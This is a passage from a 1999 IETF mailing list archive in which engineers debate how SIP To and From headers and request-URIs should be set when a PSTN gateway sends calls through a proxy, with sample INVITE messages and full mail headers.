to call this number, accessible through a SIP UAS at the given host".
The job of a proxy (perhaps running GLP) would be to translate the phone
URL tel:9195551212 into a SIP URL for the next hop server:
sip:9195551212@gateway.com.

-Jonathan R.

Shail Bhatnagar wrote:
> 
> If a gateway is generating an INVITE message ( it is configured to send
> all INVITEs to a proxy), what should be the value of To header ??
> The request-URI looks like this  ( it is calling the number 9195551212
> and proxy's IP address is 1.2.3.4)
> 
> INVITE sip:9195551212@1.2.3.4 SIP/2.0
> 
> --
> Best regards,
> Shail

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul  8 11:52:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21206
	for confctrl-outgoing; Thu, 8 Jul 1999 11:52:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21198
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 11:52:27 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07966
	for <confctrl@ISI.EDU>; Thu, 8 Jul 1999 11:52:25 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id NAA27599;
	Thu, 8 Jul 1999 13:51:53 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA23231;
	Thu, 8 Jul 1999 13:51:46 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA15391; Thu, 8 Jul 1999 13:51:52 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id NAA22361;
	Thu, 8 Jul 1999 13:52:02 -0500 (CDT)
Message-Id: <199907081852.NAA22361@b04a24.exu.ericsson.se>
Subject: Re: To header for a proxied call
To: shbhatna@cisco.com (Shail Bhatnagar)
Date: Thu, 8 Jul 1999 13:52:01 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <3784D38F.EE1D4A9E@cisco.com> from "Shail Bhatnagar" at Jul 8, 99 12:36:31 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>If a gateway is generating an INVITE message ( it is configured to send
>all INVITEs to a proxy), what should be the value of To header ??
>The request-URI looks like this  ( it is calling the number 9195551212
>and proxy's IP address is 1.2.3.4)
>
>INVITE sip:9195551212@1.2.3.4 SIP/2.0

It sounds like you're trying to describe a firewall proxy or something
similar (where all requests from a given client go through the same
proxy). If so, your example is incorrect.

In this case, let's assume you're trying to call socks@whitehouse.gov,
and your proxy is set as 1.2.3.4. Your request would look something
like:

INVITE sip:socks@whitehouse.gov SIP/2.0
From: Shail Bhatnagar <sip:shbhatna@cisco.com>
To: Socks Clinton <sip:socks@whitehouse.gov>

BUT you would send this request to the machine 1.2.3.4. The request
will not reflect this value anywhere.

I can't tell if this is the answer to your question, or if the "proxy"
you described above is more of a PSTN gateway.  In any case, the
value of "To:" is not terribly important except for message
correlation. The real destination on any given machine is taken
from the request-URI.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu Jul  8 12:27:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA22788
	for confctrl-outgoing; Thu, 8 Jul 1999 12:27:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA22783
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 12:27:23 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12167
	for <confctrl@ISI.EDU>; Thu, 8 Jul 1999 12:27:20 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id PAA26853;
	Thu, 8 Jul 1999 15:26:43 -0400 (EDT)
Message-ID: <3784FB72.E1E32F5@cisco.com>
Date: Thu, 08 Jul 1999 15:26:42 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: To header for a proxied call
References: <199907081852.NAA22361@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My gateway is a gateway - it can talk to PSTN and the IP world. You can
assume that in the example I quoted, the routing intelligence is in the
proxy server - he will figure out where the phone number is located. 
 
Any interoperability issues with using the tel: URL ?

Thanks,
Shail


"Adam B. Roach" wrote:
> 
> >If a gateway is generating an INVITE message ( it is configured to send
> >all INVITEs to a proxy), what should be the value of To header ??
> >The request-URI looks like this  ( it is calling the number 9195551212
> >and proxy's IP address is 1.2.3.4)
> >
> >INVITE sip:9195551212@1.2.3.4 SIP/2.0
> 
> It sounds like you're trying to describe a firewall proxy or something
> similar (where all requests from a given client go through the same
> proxy). If so, your example is incorrect.
> 
> In this case, let's assume you're trying to call socks@whitehouse.gov,
> and your proxy is set as 1.2.3.4. Your request would look something
> like:
> 
> INVITE sip:socks@whitehouse.gov SIP/2.0
> From: Shail Bhatnagar <sip:shbhatna@cisco.com>
> To: Socks Clinton <sip:socks@whitehouse.gov>
> 
> BUT you would send this request to the machine 1.2.3.4. The request
> will not reflect this value anywhere.
> 
> I can't tell if this is the answer to your question, or if the "proxy"
> you described above is more of a PSTN gateway.  In any case, the
> value of "To:" is not terribly important except for message
> correlation. The real destination on any given machine is taken
> from the request-URI.
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu Jul  8 13:09:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA24602
	for confctrl-outgoing; Thu, 8 Jul 1999 13:09:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA24582
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 13:09:04 -0700 (PDT)
Received: from santaclara01.pop.internex.net (santaclara01.pop.internex.net [205.158.3.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15641
	for <confctrl@isi.edu>; Thu, 8 Jul 1999 13:09:03 -0700 (PDT)
Received: from wispa ([208.163.34.120]) by santaclara01.pop.internex.net
          (Post.Office MTA v3.1.2 release (PO203-101c)
          ID# 0-34792U7500L7500S0) with SMTP id AAA4105
          for <confctrl@isi.edu>; Thu, 8 Jul 1999 13:09:02 -0700
Message-ID: <000a01bec97d$0e4524e0$7822a3d0@candy.shoretel.com>
From: tliu@wishcom.com (Then Liu)
To: <confctrl@ISI.EDU>
Subject: MMUSIC
Date: Thu, 8 Jul 1999 13:04:15 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01BEC942.618F2C30"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01BEC942.618F2C30
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Please add TLIU@WISHCOM.COM in MMUSIC mailing list

------=_NextPart_000_0007_01BEC942.618F2C30
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Please add <A=20
href=3D"mailto:TLIU@WISHCOM.COM">TLIU@WISHCOM.COM</A> in MMUSIC mailing=20
list</FONT></DIV></BODY></HTML>

------=_NextPart_000_0007_01BEC942.618F2C30--


From confctrl-owner  Thu Jul  8 14:20:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27884
	for confctrl-outgoing; Thu, 8 Jul 1999 14:20:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27875
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 14:20:56 -0700 (PDT)
Received: from nda.nda.com (nda.nda.com [205.181.228.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23053
	for <confctrl@ISI.EDU>; Thu, 8 Jul 1999 14:20:55 -0700 (PDT)
Received: from pingtel.com (ma034 [10.1.2.34])
	by nda.nda.com (8.9.3/8.9.1) with ESMTP id RAA24683;
	Thu, 8 Jul 1999 17:20:23 -0400 (EDT)
Message-ID: <37851778.32920BF2@pingtel.com>
Date: Thu, 08 Jul 1999 17:26:16 -0400
From: "Daniel G. Petrie" <dpetrie@pingtel.com>
Organization: Pingtel Corp. http://www.pingtel.com
X-Mailer: Mozilla 4.06 [en] (WinNT; U)
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: To header for a proxied call
References: <3784D38F.EE1D4A9E@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sorry, but I read this differently than Adam or Jonathan.  Perhaps Shail
can clearify this.  I saw this as a corporate environment with a PSTN
gateway and a proxy filling the roll of corporate PBX.  My phone registers
as user: 9195551212 and user: dpetrie  (Alternately the proxy may be
configured with user aliases, etc.).  In this environment I believe that it
is perfectly valid to send the following sip message to the proxy:

INVITE sip:9195551212@1.2.3.4 SIP/2.0
To: sip:9195551212@1.2.3.4
...

The proxy could in turn send the following message to my phone (ip address
1.2.3.222):

INVITE sip:9195551212@1.2.3.222 SIP/2.0
To: sip:9195551212@1.2.3.4
...

or depending on the registration, proxy configuration, etc. :

INVITE sip:dpetrie@1.2.3.222 SIP/2.0
To: sip:9195551212@1.2.3.4
...


Shail Bhatnagar wrote:

> If a gateway is generating an INVITE message ( it is configured to send
> all INVITEs to a proxy), what should be the value of To header ??
> The request-URI looks like this  ( it is calling the number 9195551212
> and proxy's IP address is 1.2.3.4)
>
> INVITE sip:9195551212@1.2.3.4 SIP/2.0
>
> --
> Best regards,
> Shail


From confctrl-owner  Thu Jul  8 14:47:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28986
	for confctrl-outgoing; Thu, 8 Jul 1999 14:47:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28981
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 14:47:23 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25590
	for <confctrl@ISI.EDU>; Thu, 8 Jul 1999 14:47:21 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id RAA07815;
	Thu, 8 Jul 1999 17:46:17 -0400 (EDT)
Message-ID: <37851C29.D90B07DF@cisco.com>
Date: Thu, 08 Jul 1999 17:46:17 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel G. Petrie" <dpetrie@pingtel.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: To header for a proxied call
References: <3784D38F.EE1D4A9E@cisco.com> <37851778.32920BF2@pingtel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Daniel, Let us proceed with what you said. 

Original INVITE to proxy :
INVITE sip:9195551212@1.2.3.4 SIP/2.0
To: sip:9195551212@1.2.3.4
From: sip:5125551212@1.2.3.3

Proxy rewrites request-URI and sends INVITE to terminating gateway :
INVITE sip:9195551212@172.18.16.4 SIP/2.0
To: sip:9195551212@1.2.3.4
From: sip:5125551212@1.2.3.3

The call is setup, the 2 parties talk and the called party hangs up -
terminating gateway send a BYE to the proxy. The terminating gateway
would flip the From and To fields and do they make sense ??

I don't have the exact picture of  using a proxy for sending out
INVITE messages, but I as I said in response to Adam's mail, it is 
possible that routing intelligence is in the proxy server. Actually 
their could all flavours of outbound calls ( for example based on
called number) - 
1) to redirect server
2) to proxy server
3) to terminating gateway

Regards,
Shail


"Daniel G. Petrie" wrote:
> 
> Sorry, but I read this differently than Adam or Jonathan.  Perhaps Shail
> can clearify this.  I saw this as a corporate environment with a PSTN
> gateway and a proxy filling the roll of corporate PBX.  My phone registers
> as user: 9195551212 and user: dpetrie  (Alternately the proxy may be
> configured with user aliases, etc.).  In this environment I believe that it
> is perfectly valid to send the following sip message to the proxy:
> 
> INVITE sip:9195551212@1.2.3.4 SIP/2.0
> To: sip:9195551212@1.2.3.4
> ...
> 
> The proxy could in turn send the following message to my phone (ip address
> 1.2.3.222):
> 
> INVITE sip:9195551212@1.2.3.222 SIP/2.0
> To: sip:9195551212@1.2.3.4
> ...
> 
> or depending on the registration, proxy configuration, etc. :
> 
> INVITE sip:dpetrie@1.2.3.222 SIP/2.0
> To: sip:9195551212@1.2.3.4
> ...
> 
> Shail Bhatnagar wrote:
> 
> > If a gateway is generating an INVITE message ( it is configured to send
> > all INVITEs to a proxy), what should be the value of To header ??
> > The request-URI looks like this  ( it is calling the number 9195551212
> > and proxy's IP address is 1.2.3.4)
> >
> > INVITE sip:9195551212@1.2.3.4 SIP/2.0
> >
> > --
> > Best regards,
> > Shail

From confctrl-owner  Thu Jul  8 20:50:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA11098
	for confctrl-outgoing; Thu, 8 Jul 1999 20:50:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA11093
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jul 1999 20:50:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA28733
	for <confctrl@isi.edu>; Thu, 8 Jul 1999 20:50:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jul  8 23:48:07 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.108])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id XAA15757;
	Thu, 8 Jul 1999 23:48:06 -0400 (EDT)
Message-ID: <37857129.D4E13A25@dnrc.bell-labs.com>
Date: Thu, 08 Jul 1999 23:48:57 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: "Daniel G. Petrie" <dpetrie@pingtel.com>, mmusic <confctrl@ISI.EDU>
Subject: Re: To header for a proxied call
References: <3784D38F.EE1D4A9E@cisco.com> <37851778.32920BF2@pingtel.com> <37851C29.D90B07DF@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Shail Bhatnagar wrote:
> 
> Daniel, Let us proceed with what you said.
> 
> Original INVITE to proxy :
> INVITE sip:9195551212@1.2.3.4 SIP/2.0
> To: sip:9195551212@1.2.3.4
> From: sip:5125551212@1.2.3.3
> 
> Proxy rewrites request-URI and sends INVITE to terminating gateway :
> INVITE sip:9195551212@172.18.16.4 SIP/2.0
> To: sip:9195551212@1.2.3.4
> From: sip:5125551212@1.2.3.3
> 
> The call is setup, the 2 parties talk and the called party hangs up -
> terminating gateway send a BYE to the proxy. The terminating gateway
> would flip the From and To fields and do they make sense ??

Sure they make sense. Flipping the To and From is done regardless of
whether the URI contains an IP address or a hostname or a domain. Think
of the IP addresses playing a similar role to domain names in this case,
like isi.edu. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jul  9 02:13:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA22822
	for confctrl-outgoing; Fri, 9 Jul 1999 02:13:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA22817
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 02:13:20 -0700 (PDT)
Received: from malmo.trab.se (malmo.trab.se [131.115.48.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA10491
	for <confctrl@ISI.EDU>; Fri, 9 Jul 1999 02:13:19 -0700 (PDT)
Received: from trab-hermes.haninge.trab.se (trab-hermes.haninge.trab.se [131.115.158.15]) by malmo.trab.se (8.9.1/TRAB-primary-2) with ESMTP id LAA24611 for <confctrl@ISI.EDU>; Fri, 9 Jul 1999 11:13:17 +0200 (MET DST)
Received: by trab-hermes.haninge.trab.se with Internet Mail Service (5.5.2448.0)
	id <J57ZSN2J>; Fri, 9 Jul 1999 11:13:17 +0200
Message-ID: <778DFE9B4E3BD111A74E08002BA3DC0D01407A9A@trab-hermes.haninge.trab.se>
From: =?ISO-8859-1?Q?J=F6rgen_Bj=F6rkner?= <Jorgen.K.Bjorkner@telia.se>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: To header for a proxied call
Date: Fri, 9 Jul 1999 11:13:17 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
If a dialed number is redirected by the PSTN network to another phone number
that ends up in a gateway working as Shail describes, which of the numbers
should be
carried in the to and from fields? We have three nubers which all can be of
interest for a
routing intelligence in a proxy. To avoid confusion I explain this below:

A (5125551212) dials B (7771212121) which is redirected to C (9195551212) in
the PSTN network.
All three numbers will be presented to the PSTN/SIP gateway, the question is
how to carry all of them
within the SIP header? From a user point of view it might make most sense to
put tel:5125551212 (A) in the
From: field and tel:9195551212 (C) in the To:field. Assuming that the
routing intelligence is in a
proxy (P) the gateway (G) forwards all incoming calls to P. In traditional
PSTN world (at least in Sweden,
and I don't say that it has to be like this forever) B is responsible for
the redirected part of the call
(charged for it), and therefore it makes sense that B's routing preferences
are used by P, and therefore
B's number has to be in the message arriving to P.

How can B's number be carried?? Either with require: that uses a new field
to carry the redirection number,
or a VIA field could be inserted by the gateway containing a tel: url of the
redirecing party.

A drawback with a new field is that there is a need  for a matching pair of
gateway and proxy,
ie. I can't use any random SIP proxy together with a gateway that adds the
redirected number, even though the proxy
won't use this information.

If the number is carried in the Via: field any proxy could be used, it just
ignores the via field. If the
redirected number is needed for certain routing logic, you choose a server
parsing the Via: field. This
is illustrated below:

            PSTN              |            IP
                              |    
   A  ------->  B ----------> G--------> P -------(Server/gateway cloud)-->
C
                              |
                              |

Invite sent from G to P:

INVITE sip:9195551212@1.2.3.4 SIP/2.0
Via: SIP/2.0/UDP 1.2.3.3
Via: tel:7771212121
To: sip:9195551212@1.2.3.4
From: sip:5125551212@1.2.3.3

Logically is the PSTN redirection equal to a SIP Proxy, which inserts itself
as a Via:field
Does it make sense?? Will it break current implementations? Should a new
field in the header be used instead??

/Jorgen

-----Original Message-----
From: Shail Bhatnagar [mailto:shbhatna@cisco.com]
Sent: den 8 juli 1999 21:27
To: Adam B. Roach
Cc: confctrl@ISI.EDU
Subject: Re: To header for a proxied call


My gateway is a gateway - it can talk to PSTN and the IP world. You can
assume that in the example I quoted, the routing intelligence is in the
proxy server - he will figure out where the phone number is located. 
 
Any interoperability issues with using the tel: URL ?

Thanks,
Shail


"Adam B. Roach" wrote:
> 
> >If a gateway is generating an INVITE message ( it is configured to send
> >all INVITEs to a proxy), what should be the value of To header ??
> >The request-URI looks like this  ( it is calling the number 9195551212
> >and proxy's IP address is 1.2.3.4)
> >
> >INVITE sip:9195551212@1.2.3.4 SIP/2.0
> 
> It sounds like you're trying to describe a firewall proxy or something
> similar (where all requests from a given client go through the same
> proxy). If so, your example is incorrect.
> 
> In this case, let's assume you're trying to call socks@whitehouse.gov,
> and your proxy is set as 1.2.3.4. Your request would look something
> like:
> 
> INVITE sip:socks@whitehouse.gov SIP/2.0
> From: Shail Bhatnagar <sip:shbhatna@cisco.com>
> To: Socks Clinton <sip:socks@whitehouse.gov>
> 
> BUT you would send this request to the machine 1.2.3.4. The request
> will not reflect this value anywhere.
> 
> I can't tell if this is the answer to your question, or if the "proxy"
> you described above is more of a PSTN gateway.  In any case, the
> value of "To:" is not terribly important except for message
> correlation. The real destination on any given machine is taken
> from the request-URI.
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
USA

From confctrl-owner  Fri Jul  9 06:31:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA00715
	for confctrl-outgoing; Fri, 9 Jul 1999 06:31:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA00710
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 06:31:10 -0700 (PDT)
Received: from cefni.aber.ac.uk (cefni.aber.ac.uk [144.124.16.40])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17340
	for <confctrl@isi.edu>; Fri, 9 Jul 1999 06:31:09 -0700 (PDT)
Received: from moin.dcs.aber.ac.uk ([193.60.11.36] helo=aber.ac.uk)
	by cefni.aber.ac.uk with esmtp (Exim 2.12 #1)
	id 112ajL-00034o-00; Fri, 9 Jul 1999 14:30:19 +0100
X-Mailer: exmh version 2.0.2 2/24/98
To: confctrl@ISI.EDU
cc: dap@aber.ac.uk
Subject: sdr type tools in server/client mode
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 09 Jul 1999 14:30:18 +0100
Message-ID: <12607.931527018@aber.ac.uk>
From: DAVID  PRICE <dap@aber.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear All,

	I'm knew to this group, but generally an "old hand"
I guess now at actually deploying and using MBone tools.

	Following various remarks from others, I have just set an
MSc student off on a project to look at the issuing surrounding and to
design and implement an sdr-like tool that operates in client/server
mode. I'm sure many of us have often personally or otherwise
experiences the frustrations that arise when sdr starts and the
announcement for the session you want to join does not appear for ages.
(I know why etc). There are also the frustrations when someone
makes an announcement, and then, not understanding the mechanism,
exits sdr and no more announcements. I only plan the student to address
"sap" and not related "sip" issues.

	So the student is going to look at the issue and this
email is a begging request for any pointers the group might be able
to offer to papers/urls etc etc that I might be able to point the student
at for a starting point....

Thanks Folks,

Dave Price

	---------------------------------------------------------
	| David Price, Computer Science				|
	|							|
	|  Computer Science, University of Wales, Aberystwyth,	|
	|  Penglais Campus, Aberystwyth, Ceredigion, SY23 3DB	|
	|                                                       |
	| Email: dap@aber.ac.uk WWW: http://www.aber.ac.uk/~dap |
	|  Phone: +44 1970 622428   FAX: +44 1970 622455	|
	---------------------------------------------------------

-- 
Dave Price, Technical Director, Telematics Group
Email: dap@aber.ac.uk PHONE: +44 1970 622428 FAX: +44 1970 622455
Post: Computer Science, University of Wales,
      Penglais, Aberystwyth, WALES, UK, SY23 3DB.



From confctrl-owner  Fri Jul  9 06:44:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01150
	for confctrl-outgoing; Fri, 9 Jul 1999 06:44:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01145
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 06:44:05 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17886
	for <confctrl@ISI.EDU>; Fri, 9 Jul 1999 06:44:03 -0700 (PDT)
Received: (from sudiptom@localhost)
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) id JAA16216;
	Fri, 9 Jul 1999 09:42:46 -0400 (EDT)
From: Sudipto Mukherjee <sudiptom@cisco.com>
Message-Id: <199907091342.JAA16216@bounty.cisco.com>
Subject: Re: To header for a proxied call
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Fri, 9 Jul 1999 09:42:46 -0400 (EDT)
Cc: shbhatna@cisco.com, dpetrie@pingtel.com, confctrl@ISI.EDU
In-Reply-To: <37857129.D4E13A25@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jul 8, 99 11:48:57 pm
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The problem with this scenario is that the Originating Gateway makes an 
assumption that the called party's (9195551212) SIP address is same as 
that of the Proxy server (1.2.3.4). This results in an incorrect
To header (To: sip:9195551212@1.2.3.4). 

So in the scenario where the called party hangs up, the from header in
the BYE would look this - From:sip:9195551212@1.2.3.4. 

The question is how should the proxy deal with this BYE as it has a wrong
>From header. Does the proxy need to look at the From field to process the
message ?

Thanks
Sudipto

> 
> 
> 
> Shail Bhatnagar wrote:
> > 
> > Daniel, Let us proceed with what you said.
> > 
> > Original INVITE to proxy :
> > INVITE sip:9195551212@1.2.3.4 SIP/2.0
> > To: sip:9195551212@1.2.3.4
> > From: sip:5125551212@1.2.3.3
> > 
> > Proxy rewrites request-URI and sends INVITE to terminating gateway :
> > INVITE sip:9195551212@172.18.16.4 SIP/2.0
> > To: sip:9195551212@1.2.3.4
> > From: sip:5125551212@1.2.3.3
> > 
> > The call is setup, the 2 parties talk and the called party hangs up -
> > terminating gateway send a BYE to the proxy. The terminating gateway
> > would flip the From and To fields and do they make sense ??
> 
> Sure they make sense. Flipping the To and From is done regardless of
> whether the URI contains an IP address or a hostname or a domain. Think
> of the IP addresses playing a similar role to domain names in this case,
> like isi.edu. 
> 
> -Jonathan R.
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 


From confctrl-owner  Fri Jul  9 07:04:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA02054
	for confctrl-outgoing; Fri, 9 Jul 1999 07:04:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA02030
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 07:04:04 -0700 (PDT)
